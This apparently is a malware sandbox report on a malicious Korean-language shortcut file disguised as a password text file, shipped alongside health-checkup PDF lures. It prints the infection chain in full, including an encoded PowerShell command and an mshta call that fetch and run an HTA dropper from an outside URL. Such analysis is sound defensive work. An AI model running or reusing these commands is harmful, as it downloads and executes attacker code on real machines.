Analysis
- max time kernel
149s - max time network
128s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
30/05/2026, 15:00
Behavioral task
behavioral1
Sample
2026년 건강검진 안내.pdf
Resource
win10v2004-20260513-en
6 signatures
150 seconds
Behavioral task
behavioral2
Sample
2026년 건강검진 안내.pdf
Resource
win11-20260513-en
6 signatures
150 seconds
Behavioral task
behavioral3
Sample
건강검진 문진표.pdf
Resource
win10v2004-20260513-en
6 signatures
150 seconds
Behavioral task
behavioral4
Sample
건강검진 문진표.pdf
Resource
win11-20260513-en
6 signatures
150 seconds
Behavioral task
behavioral5
Sample
암호.txt.lnk
Resource
win10v2004-20260513-en
7 signatures
150 seconds
Behavioral task
behavioral6
Sample
암호.txt.lnk
Resource
win11-20260513-en
5 signatures
150 seconds
General
- Target 암호.txt.lnk
- Size 2KB
- Sample260530-sdtgfaf161
- SHA256 f7964d3354dc97a62e34608e4d9defbba1b6bbc75b1d5d1d3ca316c3c668af0b
- MD5 dbef00d1079147df402b2226278d6414
- SHA1 8bf38682321f3dde35a43e8d6317afc6e686b782
- SHA512 0bfe5e6749d79b438d82cf05a5a377104826e464073a30abc51f44dd25b7db15432ffd0e30b11bd551510df30f4a28eb3a5f0be564790b9630467417469e5efd
- TLSH T1135120011EE502BAF373C77A17FABB0A5520F4789B0789AC41C12244AE90604F875B2E
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://link24.kr/DlLZMgU
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 2 3480 mshta.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3456 powershell.exe 3456 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3456 powershell.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 1888 wrote to memory of 3456 1888 cmd.exe 82 PID 3456 wrote to memory of 3480 3456 powershell.exe 83
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\암호.txt.lnk1⤵
- Suspicious use of WriteProcessMemory
PID:1888 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e IAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAG0AcwBoAHQAYQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABoAHQAdABwAHMAOgAvAC8AbABpAG4AawAyADQALgBrAHIALwBEAGwATABaAE0AZwBVAA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3456 -
C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" https://link24.kr/DlLZMgU3⤵
- Badlisted process makes network request
PID:3480
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_je4lc1do.hra.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH